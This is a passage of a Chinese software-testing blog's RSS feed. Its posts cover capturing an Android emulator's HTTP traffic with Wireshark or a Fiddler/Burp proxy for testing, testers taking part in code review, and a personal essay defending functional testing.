10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; text-align: left; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></a></div><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank"></a></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421306.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:26 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421306.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Android客户端捕获http请求包的方法</title><link>http://www.blogjava.net/qileilove/archive/2013/01/30/394923.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 30 Jan 2013 05:02:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2013/01/30/394923.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/394923.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2013/01/30/394923.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/394923.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/394923.html</trackback:ping><description><![CDATA[<p style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">对于<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Web测试</strong></u></a>，我们可以很容易的抓取到相关的http请求包，不用什么专业软件，甚至浏览器都能帮我们完成这个功能，拿到需要的http请求连接 。</p><p style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　http连接对于<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>同学来说， 不论做功能、性能或是安全，都是非常重要的， 他过滤了前台的因素，让测试同学直接能对后台进行交互。</p><p style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　以上是http连接的重要性，基本等于废话，下面是正题。</p><p style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　客户端<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>，同样需要拿到http的请求包，由于客户端的前段限制绕过比较麻烦，那么在做安全测试的过程中，直接拿到http的请求包显得更外重要。</p><p style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　有如下方法可以拿到请求的http包：</p><p style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1、在不配置代理的情况下，对<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>客户端（模拟器）的数据我们可以使用wireshark或者etherpeek等网络层抓包软件抓取，模拟器本身的数据交互是通过电脑主机的网卡进行的，所以我们通过抓包软件抓取主机网卡的数据包，经过过滤，便可得到模拟器客户端中的数据包，类似这样：</p><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=37789" target="_blank" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151013371WQJt.jpg" width="392" height="539" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px; width: 276px; height: 391px;"  alt="" /></a></p><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=37790" target="_blank" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151013441r9WD.jpg" width="592" height="334" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px; width: 508px; height: 334px;"  alt="" /></a></p><p align="left" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　访问之后，通过wireshark过滤http请求，便可找到我们刚刚发送的请求。</p><p align="left" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　当然，这是种比较麻烦的方法，不过可以更确切的看到网络包发送的内容。</p><p align="left" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　另一种办法是对模拟器配置代理，让所有请求包可以通过外部主机的七层抓包软件，例如fiddler ，burpsuite等所捕获到，配置代理需要先做一次设置：类似这样：</p><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=37791" target="_blank" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151013481vaSh.jpg" width="354" height="542" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px; width: 256px; height: 403px;"  alt="" /><br /><br /><br /><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;"><a href="http://www.51testing.com/batch.download.php?aid=37792" target="_blank" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151013521mGuh.jpg" width="376" height="472" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px; width: 304px; height: 432px;"  alt="" /></a></p><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;"><a href="http://www.51testing.com/batch.download.php?aid=37793" target="_blank" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151013571b2DQ.jpg" width="340" height="402" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px; width: 304px; height: 433px;"  alt="" /></a></p><p align="left" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;">　　进 入&#8220;设置&#8221;选项之后，按照图示设置</p><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;"><a href="http://www.51testing.com/batch.download.php?aid=37794" target="_blank" style="word-break: break-all; color: #202859; text-decoration: initial; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151014011uvxd.jpg" width="386" height="496" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px; width: 306px; height: 436px;"  alt="" /></a></p><p align="left" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;">　　这里proxy 设置为10.0.2.2是android模拟器对外部主机地址的硬编码，端口设为8888是外部主机fiddler 的监听地址，当然，如果是burpsuite 可以设置为8080。</p><p align="center" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;"><a href="http://www.51testing.com/batch.download.php?aid=37795" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><img border="0" src="http://www.51testing.com/attachments/2013/01/346836_201301151014061ZEAY.jpg" width="566" height="331" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></p><p align="left" style="word-break: break-all; margin: 10px 0px; padding: 0px; line-height: 21.600000381469727px; color: #333333; font-size: 12px;">　　那么这样的话 ，我们就能通过fiddler抓取模拟器中的数据包了， 这样对测试来讲，可以用web端的应用层工具对客户端的http数据进行处理，方便的可就多了。</p><br /></a></p><img src ="http://www.blogjava.net/qileilove/aggbug/394923.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2013-01-30 13:02 <a href="http://www.blogjava.net/qileilove/archive/2013/01/30/394923.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自动化构建方面的知识</title><link>http://www.blogjava.net/qileilove/archive/2012/06/27/381583.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 27 Jun 2012 02:01:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2012/06/27/381583.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/381583.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2012/06/27/381583.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/381583.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/381583.html</trackback:ping><description><![CDATA[<div><a href="http://www.cnblogs.com/itech/archive/2011/07/25/2116447.html">http://www.cnblogs.com/itech/archive/2011/07/25/2116447.html</a></div><img src ="http://www.blogjava.net/qileilove/aggbug/381583.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2012-06-27 10:01 <a href="http://www.blogjava.net/qileilove/archive/2012/06/27/381583.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件测试工程师如何参与代码检视</title><link>http://www.blogjava.net/qileilove/archive/2012/05/03/377247.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 03 May 2012 02:05:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2012/05/03/377247.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/377247.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2012/05/03/377247.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/377247.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/377247.html</trackback:ping><description><![CDATA[<div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　<a href="" target="_self" style="word-break: break-all; text-decoration: none; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">测试</strong></u></a>人员参与代码检视的收益：</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　a）测试人员可以在早期就能够熟知系统，提前发现代码中的BUG；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　b）提高<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">测试工程师</strong></u></a>阅读代码和写代码能力；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　c）测试工程师的经验积累后，可以避免一些很常见，很普通低级的错误；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　d）测试取得话语权，促进开发与测试的更多平等沟通；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　e）对于开发新员工的代码，收益会加倍（新员工容易犯业务上的低级错误）。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　　第零步：（比如新参与某系统的测试）</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　a）<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">学习</strong></u></a>业务知识；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　b）学习系统整体架构；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　c）开发同学讲解设计架构、代码结构；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　d）熟悉使用系统，找到阅读代码下手点：从<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">日志</strong></u></a>、业务入口、SqlMap等；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　e）从流程或者数据流阅读下去，然后一步步深入到代码中。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　　第一步：（code review准备）</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　a）当需求已经确定，测试同学需要参与方案的讨论；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　b）开发开始编写代码，测试进行<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">测试用例</strong></u></a>设计；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　c）当开发某个类或者功能或者方法已经基本稳定，让开发串讲实现方式（避免出现实现方式不合理）；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　d）测试同学可以开始review开发的代码，同时补充或者去重复测试用例（story或者sdv测试用例）。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　　第二步：（code review进行）</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　a）对代码的规范进行检视；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　b）对代码的可测试性进行检视；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　c）从业务场景的角度去review代码，如果实现存在的问题，那基本上可以发现；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　d）对于发现的问题，建议分时段给开发，否则会打乱开发的写代码节奏；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　e）如果你还不懂设计、不懂架构，那么可以从是否浪费CPU、是否浪费内存的角度看代码。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　　第三步：（code review后）</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　a）转测试后，应该不出现实现方案不合理的情况；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　b）有结果统计，这个迭代review的记录数，可以横向比较；</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　c）迭代总结，开发与测试一起进行经验教训分享。</p></div><img src ="http://www.blogjava.net/qileilove/aggbug/377247.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2012-05-03 10:05 <a href="http://www.blogjava.net/qileilove/archive/2012/05/03/377247.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为功能测试正名，写给广大软件测试同行</title><link>http://www.blogjava.net/qileilove/archive/2012/05/03/377246.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 03 May 2012 02:04:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2012/05/03/377246.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/377246.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2012/05/03/377246.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/377246.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/377246.html</trackback:ping><description><![CDATA[<div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　首先，恭祝51testing生日快乐，感谢您一直是所有<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">软件测试</strong></u></a>人员成长的摇篮和精神支柱！</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　从刚刚接触软件测试<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">工作</strong></u></a>，到现在已经有十年之久。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　十年前，毕业后就进入了一家软件公司，经理分配的任务就是测试软件，发现有错的地方就告诉他。这是我对软件测试工作的第一印象，就是看系统是否报错，各个功能按钮是否能够正确响应。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　两年后，由于公司经营不善，我被公司裁员。其理由是：技术总监认为没有必要设置软件测试工程师的岗位。因此，竞岗时，我无岗可竟。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　恰巧，当时中国软件评测中心跟省科技厅联合培训，于是，我就第一次真正认识到什么是软件测试。同时，也知道了51testing和测试时代这些软件测试交流的专业平台。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 